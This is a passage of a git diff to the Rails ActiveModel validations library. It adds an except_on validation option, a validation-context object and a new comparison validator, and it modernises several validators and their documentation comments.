       # * <tt>:on</tt> - Specifies the contexts where this validation is active.
       #   Runs in all validation contexts by default +nil+. You can pass a symbol
       #   or an array of symbols. (e.g. <tt>on: :create</tt> or
       #   <tt>on: :custom_validation_context</tt> or
       #   <tt>on: [:create, :custom_validation_context]</tt>)
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
-      # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      # * <tt>:except_on</tt> - Specifies the contexts where this validation is not active.
+      #   Runs in all validation contexts by default +nil+. You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>except: :create</tt> or
+      #   <tt>except_on: :custom_validation_context</tt> or
+      #   <tt>except_on: [:create, :custom_validation_context]</tt>)
+      # * <tt>:allow_nil</tt> - Specify a method, proc, or boolean, to skip
+      #   validation if attribute is +nil+ (e.g. <tt>allow_nil: true</tt>, or
+      #   <tt>allow_nil: Proc.new { |user| user.signup_step > 2 }</tt>).
+      # * <tt>:allow_blank</tt> - Specify a method, proc, or boolean, to skip
+      #   validation if attribute is +blank+ (e.g. <tt>allow_blank: true</tt>,
+      #   or <tt>allow_blank: Proc.new { |user| user.signup_step > 2 }</tt>).
+      # * <tt>:if</tt> - Specifies a method, proc, or string to call to determine
       #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
       #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
       #   proc or string should return or evaluate to a +true+ or +false+ value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      # * <tt>:unless</tt> - Specifies a method, proc, or string to call to
       #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
       #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   method, proc, or string should return or evaluate to a +true+ or +false+
       #   value.
       def validates_each(*attr_names, &block)
         validates_with BlockValidator, _merge_attributes(attr_names), &block
       end
 
-      VALID_OPTIONS_FOR_VALIDATE = [:on, :if, :unless, :prepend].freeze # :nodoc:
+      VALID_OPTIONS_FOR_VALIDATE = [:on, :if, :unless, :prepend, :except_on].freeze # :nodoc:
 
       # Adds a validation method or block to the class. This is useful when
       # overriding the +validate+ instance method becomes too unwieldy and
@@ -119,7 +126,7 @@ def validates_each(*attr_names, &block)
       #     end
       #   end
       #
-      # Or with a block where self points to the current record to be validated:
+      # Or with a block where +self+ points to the current record to be validated:
       #
       #   class Comment
       #     include ActiveModel::Validations
@@ -132,25 +139,34 @@ def validates_each(*attr_names, &block)
       # Note that the return value of validation methods is not relevant.
       # It's not possible to halt the validate callback chain.
       #
-      # Options:
+      # ==== Options
+      #
       # * <tt>:on</tt> - Specifies the contexts where this validation is active.
       #   Runs in all validation contexts by default +nil+. You can pass a symbol
       #   or an array of symbols. (e.g. <tt>on: :create</tt> or
       #   <tt>on: :custom_validation_context</tt> or
       #   <tt>on: [:create, :custom_validation_context]</tt>)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      # * <tt>:except_on</tt> - Specifies the contexts where this validation is not active.
+      #   Runs in all validation contexts by default +nil+. You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>except: :create</tt> or
+      #   <tt>except_on: :custom_validation_context</tt> or
+      #   <tt>except_on: [:create, :custom_validation_context]</tt>)
+      # * <tt>:if</tt> - Specifies a method or proc to call to determine
       #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
-      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
-      #   proc or string should return or evaluate to a +true+ or +false+ value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method or
+      #   proc should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method or proc to call to
       #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
       #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   method or proc should return or evaluate to a +true+ or +false+
       #   value.
+      #
+      # NOTE: Calling +validate+ multiple times on the same method will overwrite previous definitions.
+      #
       def validate(*args, &block)
         options = args.extract_options!
 
-        if args.all? { |arg| arg.is_a?(Symbol) }
+        if args.all?(Symbol)
           options.each_key do |k|
             unless VALID_OPTIONS_FOR_VALIDATE.include?(k)
               raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{VALID_OPTIONS_FOR_VALIDATE.map(&:inspect).join(', ')}. Perhaps you meant to call `validates` instead of `validate`?")
@@ -159,15 +175,19 @@ def validate(*args, &block)
         end
 
         if options.key?(:on)
+          options = options.merge(if: [predicate_for_validation_context(options[:on]), *options[:if]])
+        end
+
+        if options.key?(:except_on)
           options = options.dup
-          options[:if] = Array(options[:if])
-          options[:if].unshift ->(o) {
-            !(Array(options[:on]) & Array(o.validation_context)).empty?
-          }
+          options[:except_on] = Array(options[:except_on])
+          options[:unless] = [
+            ->(o) { options[:except_on].intersect?(Array(o.validation_context)) },
+            *options[:unless]
+          ]
         end
 
-        args << options
-        set_callback(:validate, *args, &block)
+        set_callback(:validate, *args, options, &block)
       end
 
       # List all validators that are being used to validate the model using
@@ -239,7 +259,7 @@ def clear_validators!
       #   class Person
       #     include ActiveModel::Validations
       #
-      #     attr_accessor :name , :age
+      #     attr_accessor :name, :age
       #
       #     validates_presence_of :name
       #     validates_inclusion_of :age, in: 0..99
@@ -270,15 +290,30 @@ def attribute_method?(attribute)
       end
 
       # Copy validators on inheritance.
-      def inherited(base) #:nodoc:
+      def inherited(base) # :nodoc:
         dup = _validators.dup
         base._validators = dup.each { |k, v| dup[k] = v.dup }
         super
       end
+
+      private
+        @@predicates_for_validation_contexts = {}
+
+        def predicate_for_validation_context(context)
+          context = context.is_a?(Array) ? context.sort : Array(context)
+
+          @@predicates_for_validation_contexts[context] ||= -> (model) do
+            if model.validation_context.is_a?(Array)
+              model.validation_context.any? { |model_context| context.include?(model_context) }
+            else
+              context.include?(model.validation_context)
+            end
+          end
+        end
     end
 
     # Clean the +Errors+ object if instance is duped.
-    def initialize_dup(other) #:nodoc:
+    def initialize_dup(other) # :nodoc:
       @errors = nil
       super
     end
@@ -330,15 +365,23 @@ def errors
     #   person.valid?       # => true
     #   person.valid?(:new) # => false
     def valid?(context = nil)
-      current_context, self.validation_context = validation_context, context
+      current_context = validation_context
+      context_for_validation.context = context
       errors.clear
       run_validations!
     ensure
-      self.validation_context = current_context
+      context_for_validation.context = current_context
     end
 
     alias_method :validate, :valid?
 
+    def freeze
+      errors
+      context_for_validation
+
+      super
+    end
+
     # Performs the opposite of <tt>valid?</tt>. Returns +true+ if errors were
     # added, +false+ otherwise.
     #
@@ -382,9 +425,9 @@ def validate!(context = nil)
     end
 
     # Hook method defining how an attribute value should be retrieved. By default
-    # this is assumed to be an instance named after the attribute. Override this
-    # method in subclasses should you need to retrieve the value for a given
-    # attribute differently:
+    # this is assumed to be an instance named after the attribute. If the attribute
+    # does not exist, nil is returned. Override this method in subclasses should you
+    # need to retrieve the value for a given attribute differently:
     #
     #   class MyClass
     #     include ActiveModel::Validations
@@ -397,9 +440,29 @@ def validate!(context = nil)
     #       @data[key]
     #     end
     #   end
-    alias :read_attribute_for_validation :send
+    def read_attribute_for_validation(attribute)
+      send(attribute) if respond_to?(attribute, true)
+    end
+
+    # Returns the context when running validations.
+    def validation_context
+      context_for_validation.context
+    end
 
   private
+    def validation_context=(context)
+      context_for_validation.context = context
+    end
+
+    def context_for_validation
+      @context_for_validation ||= ValidationContext.new
+    end
+
+    def init_internals
+      super
+      @errors = nil
+      @context_for_validation = nil
+    end
 
     def run_validations!
       _run_validate_callbacks
@@ -411,7 +474,7 @@ def raise_validation_error # :doc:
     end
   end
 
-  # = Active Model ValidationError
+  # = Active \Model \ValidationError
   #
   # Raised by <tt>validate!</tt> when the model is invalid. Use the
   # +model+ method to retrieve the record which did not validate.
@@ -430,6 +493,10 @@ def initialize(model)
       super(I18n.t(:"#{@model.class.i18n_scope}.errors.messages.model_invalid", errors: errors, default: :"errors.messages.model_invalid"))
     end
   end
+
+  class ValidationContext # :nodoc:
+    attr_accessor :context
+  end
 end
 
-Dir[File.dirname(__FILE__) + "/validations/*.rb"].each { |file| require file }
+Dir[File.expand_path("validations/*.rb", __dir__)].each { |file| require file }
diff --git a/activemodel/lib/active_model/validations/absence.rb b/activemodel/lib/active_model/validations/absence.rb
index 4618f46e30a3a..f2bfd624a6bab 100644
--- a/activemodel/lib/active_model/validations/absence.rb
+++ b/activemodel/lib/active_model/validations/absence.rb
@@ -1,15 +1,17 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Validations
     # == \Active \Model Absence Validator
-    class AbsenceValidator < EachValidator #:nodoc:
+    class AbsenceValidator < EachValidator # :nodoc:
       def validate_each(record, attr_name, value)
-        record.errors.add(attr_name, :present, options) if value.present?
+        record.errors.add(attr_name, :present, **options) if value.present?
       end
     end
 
     module HelperMethods
       # Validates that the specified attributes are blank (as defined by
-      # Object#blank?). Happens by default on save.
+      # Object#present?).
       #
       #   class Person < ActiveRecord::Base
       #     validates_absence_of :first_name
@@ -22,7 +24,7 @@ module HelperMethods
       #
       # There is also a list of default options supported by every validator:
       # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
-      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      # See ActiveModel::Validations::ClassMethods#validates for more information.
       def validates_absence_of(*attr_names)
         validates_with AbsenceValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb
index a26c37daa54a9..9c35acb284140 100644
--- a/activemodel/lib/active_model/validations/acceptance.rb
+++ b/activemodel/lib/active_model/validations/acceptance.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Validations
     class AcceptanceValidator < EachValidator # :nodoc:
@@ -8,65 +10,72 @@ def initialize(options)
 
       def validate_each(record, attribute, value)
         unless acceptable_option?(value)
-          record.errors.add(attribute, :accepted, options.except(:accept, :allow_nil))
+          record.errors.add(attribute, :accepted, **options.except(:accept, :allow_nil))
         end
       end
 
       private
-
         def setup!(klass)
-          klass.include(LazilyDefineAttributes.new(AttributeDefinition.new(attributes)))
+          define_attributes = LazilyDefineAttributes.new(attributes)
+          klass.include(define_attributes) unless klass.included_modules.include?(define_attributes)
         end
 
         def acceptable_option?(value)
           Array(options[:accept]).include?(value)
         end
 
-        class LazilyDefineAttributes < Module
-          def initialize(attribute_definition)
+        class LazilyDefineAttributes < Module # :nodoc:
+          def initialize(attributes)
+            @attributes = attributes.map(&:to_s)
+          end
+
+          def included(klass)
+            @lock = Mutex.new
+            mod = self
+
             define_method(:respond_to_missing?) do |method_name, include_private = false|
-              super(method_name, include_private) || attribute_definition.matches?(method_name)
+              mod.define_on(klass)
+              super(method_name, include_private) || mod.matches?(method_name)
             end
 
             define_method(:method_missing) do |method_name, *args, &block|
-              if attribute_definition.matches?(method_name)
-                attribute_definition.define_on(self.class)
+              mod.define_on(klass)
+              if mod.matches?(method_name)
                 send(method_name, *args, &block)
               else
                 super(method_name, *args, &block)
               end
             end
           end
-        end
-
-        class AttributeDefinition
-          def initialize(attributes)
-            @attributes = attributes.map(&:to_s)
-          end
 
           def matches?(method_name)
-            attr_name = convert_to_reader_name(method_name)
-            attributes.include?(attr_name)
+            attr_name = method_name.to_s.chomp("=")
+            attributes.any? { |name| name == attr_name }
           end
 
           def define_on(klass)
-            attr_readers = attributes.reject { |name| klass.attribute_method?(name) }
-            attr_writers = attributes.reject { |name| klass.attribute_method?("#{name}=") }
-            klass.send(:attr_reader, *attr_readers)
-            klass.send(:attr_writer, *attr_writers)
-          end
+            @lock&.synchronize do
+              return unless @lock
 
-          # TODO Change this to private once we've dropped Ruby 2.2 support.
-          # Workaround for Ruby 2.2 "private attribute?" warning.
-          protected
+              attr_readers = attributes.reject { |name| klass.attribute_method?(name) }
+              attr_writers = attributes.reject { |name| klass.attribute_method?("#{name}=") }
 
-            attr_reader :attributes
+              attr_reader(*attr_readers)
+              attr_writer(*attr_writers)
 
-          private
+              remove_method :respond_to_missing?
+              remove_method :method_missing
 
-            def convert_to_reader_name(method_name)
-              method_name.to_s.chomp("=")
+              @lock = nil
             end
+          end
+
+          def ==(other)
+            self.class == other.class && attributes == other.attributes
+          end
+
+          protected
+            attr_reader :attributes
         end
     end
 
@@ -81,7 +90,7 @@ module HelperMethods
       #
       # If the database column does not exist, the +terms_of_service+ attribute
       # is entirely virtual. This check is performed only if +terms_of_service+
-      # is not +nil+ and by default on save.
+      # is not +nil+.
       #
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "must be
@@ -95,7 +104,7 @@ module HelperMethods
       #
       # There is also a list of default options supported by every validator:
       # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
-      # See <tt>ActiveModel::Validations#validates</tt> for more information.
+      # See ActiveModel::Validations::ClassMethods#validates for more information.
       def validates_acceptance_of(*attr_names)
         validates_with AcceptanceValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/callbacks.rb b/activemodel/lib/active_model/validations/callbacks.rb
index 4e94422cf14f2..cae07c82e5d30 100644
--- a/activemodel/lib/active_model/validations/callbacks.rb
+++ b/activemodel/lib/active_model/validations/callbacks.rb
@@ -1,11 +1,13 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Validations
-    # == Active \Model \Validation \Callbacks
+    # = Active \Model \Validation \Callbacks
     #
-    # Provides an interface for any class to have +before_validation+ and
-    # +after_validation+ callbacks.
+    # Provides an interface for any class to have ClassMethods#before_validation and
+    # ClassMethods#after_validation callbacks.
     #
-    # First, include ActiveModel::Validations::Callbacks from the class you are
+    # First, include +ActiveModel::Validations::Callbacks+ from the class you are
     # creating:
     #
     #   class MyModel
@@ -41,10 +43,9 @@ module ClassMethods
         #     before_validation :remove_whitespaces
         #
         #     private
-        #
-        #     def remove_whitespaces
-        #       name.strip!
-        #     end
+        #       def remove_whitespaces
+        #         name.strip!
+        #       end
         #   end
         #
         #   person = Person.new
@@ -52,15 +53,11 @@ module ClassMethods
         #   person.valid? # => true
         #   person.name   # => "bob"
         def before_validation(*args, &block)
-          options = args.last
-          if options.is_a?(Hash) && options[:on]
-            options[:if] = Array(options[:if])
-            options[:on] = Array(options[:on])
-            options[:if].unshift ->(o) {
-              options[:on].include? o.validation_context
-            }
-          end
-          set_callback(:validation, :before, *args, &block)
+          options = args.extract_options!
+
+          set_options_for_callback(options)
+
+          set_callback(:validation, :before, *args, options, &block)
         end
 
         # Defines a callback that will get called right after validation.
@@ -76,10 +73,9 @@ def before_validation(*args, &block)
         #     after_validation :set_status
         #
         #     private
-        #
-        #     def set_status
-        #       self.status = errors.empty?
-        #     end
+        #       def set_status
+        #         self.status = errors.empty?
+        #       end
         #   end
         #
         #   person = Person.new
@@ -91,21 +87,40 @@ def before_validation(*args, &block)
         #   person.status # => true
         def after_validation(*args, &block)
           options = args.extract_options!
+          options = options.dup
           options[:prepend] = true
-          options[:if] = Array(options[:if])
-          if options[:on]
-            options[:on] = Array(options[:on])
-            options[:if].unshift ->(o) {
-              options[:on].include? o.validation_context
-            }
-          end
-          set_callback(:validation, :after, *(args << options), &block)
+
+          set_options_for_callback(options)
+
+          set_callback(:validation, :after, *args, options, &block)
         end
+
+        private
+          def set_options_for_callback(options)
+            if options.key?(:on)
+              options[:on] = Array(options[:on])
+              options[:if] = [
+                ->(o) {
+                  options[:on].intersect?(Array(o.validation_context))
+                },
+                *options[:if]
+              ]
+            end
+
+            if options.key?(:except_on)
+              options[:except_on] = Array(options[:except_on])
+              options[:unless] = [
+                ->(o) {
+                  options[:except_on].intersect?(Array(o.validation_context))
+                },
+                *options[:unless]
+              ]
+            end
+          end
       end
 
     private
-
-      # Overwrite run validations to include callbacks.
+      # Override run_validations! to include callbacks.
       def run_validations!
         _run_validation_callbacks { super }
       end
diff --git a/activemodel/lib/active_model/validations/clusivity.rb b/activemodel/lib/active_model/validations/clusivity.rb
index 18f1056e2baea..125c85609def6 100644
--- a/activemodel/lib/active_model/validations/clusivity.rb
+++ b/activemodel/lib/active_model/validations/clusivity.rb
@@ -1,8 +1,13 @@
+# frozen_string_literal: true
+
+require "active_model/validations/resolve_value"
 require "active_support/core_ext/range"
 
 module ActiveModel
   module Validations
-    module Clusivity #:nodoc:
+    module Clusivity # :nodoc:
+      include ResolveValue
+
       ERROR_MESSAGE = "An object with the method #include? or a proc, lambda or symbol is required, " \
                       "and must be supplied as the :in (or :within) option of the configuration hash"
 
@@ -13,31 +18,28 @@ def check_validity!
       end
 
     private
-
       def include?(record, value)
-        members = if delimiter.respond_to?(:call)
-          delimiter.call(record)
-        elsif delimiter.respond_to?(:to_sym)
-          record.send(delimiter)
+        members = resolve_value(record, delimiter)
+
+        if value.is_a?(Array)
+          value.all? { |v| members.public_send(inclusion_method(members), v) }
         else
-          delimiter
+          members.public_send(inclusion_method(members), value)
         end
-
-        members.send(inclusion_method(members), value)
       end
 
       def delimiter
         @delimiter ||= options[:in] || options[:within]
       end
 
-      # In Ruby 2.2 <tt>Range#include?</tt> on non-number-or-time-ish ranges checks all
+      # After Ruby 2.2, <tt>Range#include?</tt> on non-number-or-time-ish ranges checks all
       # possible values in the range for equality, which is slower but more accurate.
       # <tt>Range#cover?</tt> uses the previous logic of comparing a value with the range
       # endpoints, which is fast but is only accurate on Numeric, Time, Date,
       # or DateTime ranges.
       def inclusion_method(enumerable)
         if enumerable.is_a? Range
-          case enumerable.first
+          case enumerable.begin || enumerable.end
           when Numeric, Time, DateTime, Date
             :cover?
           else
diff --git a/activemodel/lib/active_model/validations/comparability.rb b/activemodel/lib/active_model/validations/comparability.rb
new file mode 100644
index 0000000000000..848c50693604f
--- /dev/null
+++ b/activemodel/lib/active_model/validations/comparability.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Validations
+    module Comparability # :nodoc:
+      COMPARE_CHECKS = { greater_than: :>, greater_than_or_equal_to: :>=,
+        equal_to: :==, less_than: :<, less_than_or_equal_to: :<=,
+        other_than: :!= }.freeze
+
+      def error_options(value, option_value)
+        options.except(*COMPARE_CHECKS.keys).merge!(
+          count: option_value,
+          value: value
+        )
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/comparison.rb b/activemodel/lib/active_model/validations/comparison.rb
new file mode 100644
index 0000000000000..193b9e0af2aa3
--- /dev/null
+++ b/activemodel/lib/active_model/validations/comparison.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require "active_model/validations/comparability"
+require "active_model/validations/resolve_value"
+
+module ActiveModel
+  module Validations
+    class ComparisonValidator < EachValidator # :nodoc:
+      include Comparability
+      include ResolveValue
+
+      def check_validity!
+        unless options.keys.intersect?(COMPARE_CHECKS.keys)
+          raise ArgumentError, "Expected one of :greater_than, :greater_than_or_equal_to, "\
+          ":equal_to, :less_than, :less_than_or_equal_to, or :other_than option to be supplied."
+        end
+      end
+
+      def validate_each(record, attr_name, value)
+        options.slice(*COMPARE_CHECKS.keys).each do |option, raw_option_value|
+          option_value = resolve_value(record, raw_option_value)
+
+          if value.nil? || value.blank?
+            return record.errors.add(attr_name, :blank, **error_options(value, option_value))
+          end
+
+          unless value.public_send(COMPARE_CHECKS[option], option_value)
+            record.errors.add(attr_name, option, **error_options(value, option_value))
+          end
+        rescue ArgumentError => e
+          record.errors.add(attr_name, e.message)
+        end
+      end
+    end
+
+    module HelperMethods
+      # Validates the value of a specified attribute fulfills all
+      # defined comparisons with another value, proc, or attribute.
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_comparison_of :value, greater_than: 'the sum of its parts'
+      #   end
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "failed comparison").
+      # * <tt>:greater_than</tt> - Specifies the value must be greater than the
+      #   supplied value. The default error message for this option is _"must be
+      #   greater than %{count}"_.
+      # * <tt>:greater_than_or_equal_to</tt> - Specifies the value must be
+      #   greater than or equal to the supplied value. The default error message
+      #   for this option is _"must be greater than or equal to %{count}"_.
+      # * <tt>:equal_to</tt> - Specifies the value must be equal to the supplied
+      #   value. The default error message for this option is _"must be equal to
+      #   %{count}"_.
+      # * <tt>:less_than</tt> - Specifies the value must be less than the
+      #   supplied value. The default error message for this option is _"must be
+      #   less than %{count}"_.
+      # * <tt>:less_than_or_equal_to</tt> - Specifies the value must be less
+      #   than or equal to the supplied value. The default error message for
+      #   this option is _"must be less than or equal to %{count}"_.
+      # * <tt>:other_than</tt> - Specifies the value must not be equal to the
+      #   supplied value. The default error message for this option is _"must be
+      #   other than %{count}"_.
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+ .
+      # See ActiveModel::Validations::ClassMethods#validates for more information.
+      #
+      # The validator requires at least one of the following checks to be supplied.
+      # Each will accept a proc, value, or a symbol which corresponds to a method:
+      #
+      # * <tt>:greater_than</tt>
+      # * <tt>:greater_than_or_equal_to</tt>
+      # * <tt>:equal_to</tt>
+      # * <tt>:less_than</tt>
+      # * <tt>:less_than_or_equal_to</tt>
+      # * <tt>:other_than</tt>
+      #
+      # For example:
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_comparison_of :birth_date, less_than_or_equal_to: -> { Date.today }
+      #     validates_comparison_of :preferred_name, other_than: :given_name, allow_nil: true
+      #   end
+      def validates_comparison_of(*attr_names)
+        validates_with ComparisonValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb
index 03585bf5e14aa..b92e3bb1ac370 100644
--- a/activemodel/lib/active_model/validations/confirmation.rb
+++ b/activemodel/lib/active_model/validations/confirmation.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Validations
     class ConfirmationValidator < EachValidator # :nodoc:
@@ -7,23 +9,23 @@ def initialize(options)
       end
 
       def validate_each(record, attribute, value)
-        if (confirmed = record.send("#{attribute}_confirmation"))
+        unless (confirmed = record.public_send("#{attribute}_confirmation")).nil?
           unless confirmation_value_equal?(record, attribute, value, confirmed)
             human_attribute_name = record.class.human_attribute_name(attribute)
-            record.errors.add(:"#{attribute}_confirmation", :confirmation, options.except(:case_sensitive).merge!(attribute: human_attribute_name))
+            record.errors.add(:"#{attribute}_confirmation", :confirmation, **options.except(:case_sensitive).merge!(attribute: human_attribute_name))
           end
         end
       end
 
       private
         def setup!(klass)
-          klass.send(:attr_reader, *attributes.map do |attribute|
+          klass.attr_reader(*attributes.filter_map do |attribute|
             :"#{attribute}_confirmation" unless klass.method_defined?(:"#{attribute}_confirmation")
-          end.compact)
+          end)
 
-          klass.send(:attr_writer, *attributes.map do |attribute|
+          klass.attr_writer(*attributes.filter_map do |attribute|
             :"#{attribute}_confirmation" unless klass.method_defined?(:"#{attribute}_confirmation=")
-          end.compact)
+          end)
         end
 
         def confirmation_value_equal?(record, attribute, value, confirmed)
@@ -69,7 +71,7 @@ module HelperMethods
       #
       # There is also a list of default options supported by every validator:
       # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
-      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      # See ActiveModel::Validations::ClassMethods#validates for more information.
       def validates_confirmation_of(*attr_names)
         validates_with ConfirmationValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb
index b7156ba802edb..028f28e48bac1 100644
--- a/activemodel/lib/active_model/validations/exclusion.rb
+++ b/activemodel/lib/active_model/validations/exclusion.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_model/validations/clusivity"
 
 module ActiveModel
@@ -7,7 +9,7 @@ class ExclusionValidator < EachValidator # :nodoc:
 
       def validate_each(record, attribute, value)
         if include?(record, value)
-          record.errors.add(attribute, :exclusion, options.except(:in, :within).merge!(value: value))
+          record.errors.add(attribute, :exclusion, **options.except(:in, :within).merge!(value: value))
         end
       end
     end
@@ -27,8 +29,8 @@ module HelperMethods
       #
       # Configuration options:
       # * <tt>:in</tt> - An enumerable object of items that the value shouldn't
-      #   be part of. This can be supplied as a proc, lambda or symbol which returns an
-      #   enumerable. If the enumerable is a numerical, time or datetime range the test
+      #   be part of. This can be supplied as a proc, lambda, or symbol which returns an
+      #   enumerable. If the enumerable is a numerical, time, or datetime range the test
       #   is performed with <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>. When
       #   using a proc or lambda the instance under validation is passed as an argument.
       # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
@@ -38,7 +40,7 @@ module HelperMethods
       #
       # There is also a list of default options supported by every validator:
       # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
-      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      # See ActiveModel::Validations::ClassMethods#validates for more information.
       def validates_exclusion_of(*attr_names)
         validates_with ExclusionValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/format.rb b/activemodel/lib/active_model/validations/format.rb
index b4b8d9f33cd8c..7e8f8e5d8350a 100644
--- a/activemodel/lib/active_model/validations/format.rb
+++ b/activemodel/lib/active_model/validations/format.rb
@@ -1,13 +1,18 @@
+# frozen_string_literal: true
+
+require "active_model/validations/resolve_value"
 
 module ActiveModel
   module Validations
     class FormatValidator < EachValidator # :nodoc:
+      include ResolveValue
+
       def validate_each(record, attribute, value)
         if options[:with]
-          regexp = option_call(record, :with)
-          record_error(record, attribute, :with, value) if value.to_s !~ regexp
+          regexp = resolve_value(record, options[:with])
+          record_error(record, attribute, :with, value) unless regexp.match?(value.to_s)
         elsif options[:without]
-          regexp = option_call(record, :without)
+          regexp = resolve_value(record, options[:without])
           record_error(record, attribute, :without, value) if regexp.match?(value.to_s)
         end
       end
@@ -22,14 +27,8 @@ def check_validity!
       end
 
       private
-
-        def option_call(record, name)
-          option = options[name]
-          option.respond_to?(:call) ? option.call(record) : option
-        end
-
         def record_error(record, attribute, name, value)
-          record.errors.add(attribute, :invalid, options.except(name).merge!(value: value))
+          record.errors.add(attribute, :invalid, **options.except(name).merge!(value: value))
         end
 
         def check_options_validity(name)
@@ -104,7 +103,7 @@ module HelperMethods
       #
       # There is also a list of default options supported by every validator:
       # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
-      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      # See ActiveModel::Validations::ClassMethods#validates for more information.
       def validates_format_of(*attr_names)
         validates_with FormatValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/helper_methods.rb b/activemodel/lib/active_model/validations/helper_methods.rb
index 2176115334675..730173f2f974b 100644
--- a/activemodel/lib/active_model/validations/helper_methods.rb
+++ b/activemodel/lib/active_model/validations/helper_methods.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Validations
     module HelperMethods # :nodoc:
diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb
index c6c5bae649975..30536d98c8074 100644
--- a/activemodel/lib/active_model/validations/inclusion.rb
+++ b/activemodel/lib/active_model/validations/inclusion.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_model/validations/clusivity"
 
 module ActiveModel
@@ -7,7 +9,7 @@ class InclusionValidator < EachValidator # :nodoc:
 
       def validate_each(record, attribute, value)
         unless include?(record, value)
-          record.errors.add(attribute, :inclusion, options.except(:in, :within).merge!(value: value))
+          record.errors.add(attribute, :inclusion, **options.except(:in, :within).merge!(value: value))
         end
       end
     end
@@ -17,7 +19,7 @@ module HelperMethods
       # particular enumerable object.
       #
       #   class Person < ActiveRecord::Base
-      #     validates_inclusion_of :gender, in: %w( m f )
+      #     validates_inclusion_of :role, in: %w( admin contributor )
       #     validates_inclusion_of :age, in: 0..99
       #     validates_inclusion_of :format, in: %w( jpg gif png ), message: "extension %{value} is not included in the list"
       #     validates_inclusion_of :states, in: ->(person) { STATES[person.country] }
@@ -26,8 +28,8 @@ module HelperMethods
       #
       # Configuration options:
       # * <tt>:in</tt> - An enumerable object of available items. This can be
-      #   supplied as a proc, lambda or symbol which returns an enumerable. If the
-      #   enumerable is a numerical, time or datetime range the test is performed
+      #   supplied as a proc, lambda, or symbol which returns an enumerable. If the
+      #   enumerable is a numerical, time, or datetime range the test is performed
       #   with <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>. When using
       #   a proc or lambda the instance under validation is passed as an argument.
       # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
@@ -36,7 +38,7 @@ module HelperMethods
       #
       # There is also a list of default options supported by every validator:
       # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
-      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      # See ActiveModel::Validations::ClassMethods#validates for more information.
       def validates_inclusion_of(*attr_names)
         validates_with InclusionValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb
index 940c58f3a750c..22a621c8d95cb 100644
--- a/activemodel/lib/active_model/validations/length.rb
+++ b/activemodel/lib/active_model/validations/length.rb
@@ -1,6 +1,12 @@
+# frozen_string_literal: true
+
+require "active_model/validations/resolve_value"
+
 module ActiveModel
   module Validations
     class LengthValidator < EachValidator # :nodoc:
+      include ResolveValue
+
